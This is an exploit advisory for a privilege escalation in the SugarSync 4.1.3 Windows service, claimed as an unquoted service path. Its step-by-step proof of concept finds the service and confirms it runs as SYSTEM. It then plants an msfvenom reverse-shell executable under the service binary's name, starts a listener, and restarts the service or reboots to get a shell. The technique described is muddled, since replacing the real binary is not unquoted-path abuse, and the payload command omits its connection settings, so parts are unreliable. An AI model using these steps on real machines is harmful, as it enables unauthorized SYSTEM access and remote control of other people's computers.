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3.2 KiB
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66 lines
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3.2 KiB
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# Exploit Title: SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
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# Exploit Author: Jorge Manuel Lozano Gómez
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# Date: 2022-10-20
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# Vendor Homepage: https://www1.sugarsync.com
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# Software Link: https://www1.sugarsync.com/apps/windows/
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# Version : 4.1.3
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# Tested on: Windows 11 64bit
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# CVE : N/A
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About Unquoted Service Path :
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==============================
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When a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
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(only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).
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Description:
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==============================
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SugarSync installs a service with an unquoted service path.
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To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service.
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Upon service restart or system reboot, the malicious code will be run with elevated privileges.
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# PoC
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===========
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1. Open CMD and check for the vulnerability by typing [ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ]
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2. The vulnerable service would show up.
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3. Check the service permissions by typing [ sc qc "SugarSync Service" ]
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4. The command would return..
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C:\>sc qc "SugarSync Service"
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: SugarSync Service
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files (x86)\SugarSync\SugarSyncSvc.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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ISPLAY_NAME : SugarSync Service
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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5. This concludes that the service is running as SYSTEM.
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6. Now create a payload with msfvenom or other tools and name it to SugarSyncSvc.exe.
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7. Make sure you have write permissions to "C:\Program Files (x86)\SugarSync" directory.
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8. Provided that you have right permissions, drop the SugarSyncSvc.exe executable you created into the "C:\Program Files (x86)\SugarSync" directory.
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9. Start a listener.
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9. Now restart the SugarSync service by giving coommand [ sc stop "SugarSync Service" ] followed by [ sc start "SugarSync Service" ]
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9.1 If you cannot stop and start the service, since the service is of type "AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ] and get the shell when the service starts automatically.
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10. Got shell.
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During my testing :
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Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o SugarSyncSvc.exe
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# Disclaimer
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=============
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The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
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The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
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The author prohibits any malicious use of security related information or exploits by the author or elsewhere. |